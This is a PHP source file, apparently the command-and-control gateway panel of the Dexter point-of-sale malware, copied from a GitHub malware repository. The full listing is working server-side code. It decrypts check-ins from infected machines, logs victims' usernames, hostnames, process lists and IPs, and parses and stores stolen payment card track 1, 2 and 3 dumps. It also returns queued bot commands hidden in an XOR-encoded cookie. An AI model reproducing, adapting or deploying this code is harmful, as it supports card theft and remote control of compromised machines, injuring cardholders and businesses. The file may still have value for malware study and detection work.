/Dexter/panel/gateway.php

https://github.com/m0n0ph1/malware-1 · PHP · 185 lines · 111 code · 47 blank · 27 comment · 46 complexity · 7b93115195db0c0b085a1107c4cc1aed MD5 · raw file

  1. <?php
  2. function _xor($src,$key) {
  3. for($i=0;$i<strlen($src);$i++) {
  4. for($x=0;$x<strlen($key);$x++) {
  5. $src{$i} = $src{$i} ^ $key{$x};
  6. }
  7. }
  8. return $src;
  9. }
  10. function DecodeDecrypt($src,$key) {
  11. $encodedData = str_replace(' ','+',$src);
  12. $src = base64_decode($encodedData);
  13. $dest = _xor($src,$key);
  14. return $dest;
  15. }
  16. function GetNextDump($AllDumps) {
  17. if(strlen($AllDumps)<15) { return NULL; }
  18. $Dump = strstr($AllDumps,"?",true);
  19. $Dump = $Dump . "?";
  20. return $Dump;
  21. }
  22. function GetTrackType($Dump) {
  23. $Type = NULL;
  24. if($Dump{0}=='%') { $Type = "track1"; } else
  25. if($Dump{0}==';') { $Type = "track2"; } else
  26. if($Dump{0}=='+' || $Dump{0}=='!' || $Dump{0}=='#') { $Type = "track3"; }
  27. return $Type;
  28. }
  29. include ("config.php");
  30. //////////START/////////////////////////
  31. if(!empty($_POST["page"]) && !empty($_POST["val"])) { //we have bot connected
  32. $encodedData = str_replace(' ','+',$_POST["val"]);
  33. $Key = base64_decode($encodedData); //get the Key
  34. $UID = DecodeDecrypt($_POST["page"],$Key); //get the UID
  35. //Check if bot exist
  36. $query = "SELECT * FROM `bots` WHERE `UID` = '$UID'";
  37. $result = mysql_query($query);
  38. $row = mysql_fetch_array($result);
  39. if(empty($row)) { //new bot, insert
  40. //POST variable names
  41. //static char varUID[] = "page=";
  42. //static char varDumps[] = "&ump=";
  43. //static char varIdle[] = "&opt=";
  44. //static char varUsername[] = "&unm=";
  45. //static char varComputername[] = "&cnm=";
  46. //static char varProclist[] = "&view=";
  47. //static char varArch[] = "&spec=";
  48. //static char varOS[] = "&query=";
  49. //static char varKey[] = "&val=";
  50. //static char varVersion[] = "&var=";
  51. ///////////////////////////////////////////
  52. if(!empty($_POST["unm"])) { $Username = DecodeDecrypt($_POST["unm"],$Key); } else { $Username = ' '; }
  53. if(!empty($_POST["cnm"])) { $Computername = DecodeDecrypt($_POST["cnm"],$Key); } else { $Computername = ' '; }
  54. if(!empty($_POST["query"])) { $OS = DecodeDecrypt($_POST["query"],$Key); } else { $OS = ' '; }
  55. if(!empty($_POST["spec"])) { $Arch = DecodeDecrypt($_POST["spec"],$Key); } else { $Arch = ' '; }
  56. if(!empty($_POST["opt"])) { $Idle = DecodeDecrypt($_POST["opt"],$Key); } else { $Idle = ' '; }
  57. if(!empty($_POST["var"])) { $Version = DecodeDecrypt($_POST["var"],$Key); } else { $Version = ' '; }
  58. if(!empty($_POST["view"])) { $ProcList = DecodeDecrypt($_POST["view"],$Key); $ProcList = addslashes($ProcList); } else { $ProcList = ' '; }
  59. if(empty($_POST["ip"])) { $RemoteIP = $_SERVER['REMOTE_ADDR']; } else { $RemoteIP = $_POST["ip"]; }
  60. if(empty($_SERVER['HTTP_USER_AGENT'])) { $UserAgent = 'User-Agent: Not Captured'; } else { $UserAgent = $_SERVER['HTTP_USER_AGENT']; }
  61. $LastVisit = time();
  62. $query = "SELECT * FROM `commands` ORDER BY `InsertTime` DESC LIMIT 0 , 30";
  63. $result = mysql_query($query);
  64. $row = mysql_fetch_array($result);
  65. $LastCommand = $row["InsertTime"];
  66. $insert = "INSERT INTO `" . $dbname . "`.`bots` (`UID`,`Version`,`Username`,`Computername`,`RemoteIP`,`UserAgent`,`OS`,`Architecture`,`Idle Time`,`Process List`,`LastVisit`,`LastCommand`)VALUES ('$UID','$Version','$Username','$Computername','$RemoteIP','$UserAgent','$OS','$Arch','$Idle','$ProcList','$LastVisit', '$LastCommand' )"; //insert Bot
  67. mysql_query($insert);
  68. //Insert dumps
  69. if(!empty($_POST["ump"])) {
  70. $Dumps = DecodeDecrypt($_POST["ump"],$Key);
  71. $Dumps = addslashes($Dumps);
  72. $insert = "INSERT INTO`" . $dbname . "`.`logs` (`UID` ,`Dumps` )VALUES ('$UID','$Dumps')";
  73. mysql_query($insert);
  74. }
  75. } //REGISTERED NEW BOT
  76. else { //not new bot, update the dynamic fields
  77. if(!empty($_POST["opt"])) { $Idle = DecodeDecrypt($_POST["opt"],$Key); } else { $Idle = ' '; }
  78. if(!empty($_POST["view"])) { $ProcList = DecodeDecrypt($_POST["view"],$Key); $ProcList = addslashes($ProcList); } else { $ProcList = ' '; }
  79. if(!empty($_POST["var"])) { $Version = DecodeDecrypt($_POST["var"],$Key); } else { $Version = ' '; }
  80. if(empty($_POST["ip"])) { $RemoteIP = $_SERVER['REMOTE_ADDR']; } else { $RemoteIP = $_POST["ip"]; }
  81. if(empty($_SERVER['HTTP_USER_AGENT'])) { $UserAgent = 'User-Agent: Not Captured'; } else { $UserAgent = $_SERVER['HTTP_USER_AGENT']; }
  82. $LastVisit = time();
  83. $update = "UPDATE `" . $dbname . "`.`bots` SET `Process List` = '$ProcList', `Idle Time` = '$Idle', `RemoteIP` = '$RemoteIP', `UserAgent` = '$UserAgent', `LastVisit` = '$LastVisit' WHERE `UID` = '$UID'";
  84. mysql_query($update);
  85. //Insert dumps
  86. if(!empty($_POST["ump"])) {
  87. $Dumps = DecodeDecrypt($_POST["ump"],$Key);
  88. $Dumps = addslashes($Dumps);
  89. $DumpsTime = time();
  90. $Dump = NULL;
  91. $Bin = NULL;
  92. $ServiceCode = NULl;
  93. $Type = NULL;
  94. //Skip process name
  95. $AllDumps = NULL;
  96. $AllDumps = strstr($Dumps,":");
  97. if($AllDumps==NULL) { $AllDumps = $Dumps; } else { $AllDumps = substr($Start,1); }
  98. while(($Dump = GetNextDump($AllDumps))!=NULL) {
  99. //echo $Dump;
  100. $AllDumps = substr($AllDumps,strlen($Dump));
  101. $Type = GetTrackType($Dump);
  102. $insert = "INSERT INTO`" . $dbname . "`.`logs` (`UID` , `IP`, `Dump`,`Type`,`Bin`,`ServiceCode`,`InsertTime` )VALUES ('$UID','$RemoteIP','$Dump','$Type','$Bin','$ServiceCode','$DumpsTime')";
  103. mysql_query($insert);
  104. }
  105. }
  106. } //UPDATE DYNAMIC FIELDS
  107. //Check if there is command to send
  108. $cookieData = "$";
  109. //Query bot last command time
  110. $query = "SELECT `LastCommand` FROM `bots` WHERE `UID` LIKE '$UID'";
  111. $row = mysql_fetch_array(mysql_query($query));
  112. $LastCommand = $row["LastCommand"];
  113. $query = "SELECT * FROM `commands` WHERE `UID` LIKE '$UID' AND `InsertTime` > '$LastCommand' OR `UID` LIKE \"\" AND `InsertTime` > '$LastCommand'";
  114. //echo $query;
  115. $result = mysql_query($query);
  116. $LastCommand = 0;
  117. if(!empty($result)) {
  118. while($row = mysql_fetch_array($result)) {
  119. $cookieData .= $row["Command"];
  120. $cookieData .= ";";
  121. $LastCommand = $row["InsertTime"];
  122. }
  123. }
  124. $cookieData .= '#';
  125. ////////////////////////////////
  126. //Update the bot last command
  127. if($LastCommand!=0) {
  128. $update = "UPDATE `" . $dbname . "`.`bots` SET `LastCommand` = '$LastCommand' WHERE `UID` = '$UID'";
  129. mysql_query($update);
  130. }
  131. //////////////////////////////////////
  132. //echo $cookieData;
  133. //Display the command
  134. $cookieData = base64_encode(_xor($cookieData, $Key));
  135. setcookie('response',$cookieData);
  136. //////////////////////////
  137. } //THERE IS BOT CONNECTED
  138. ?>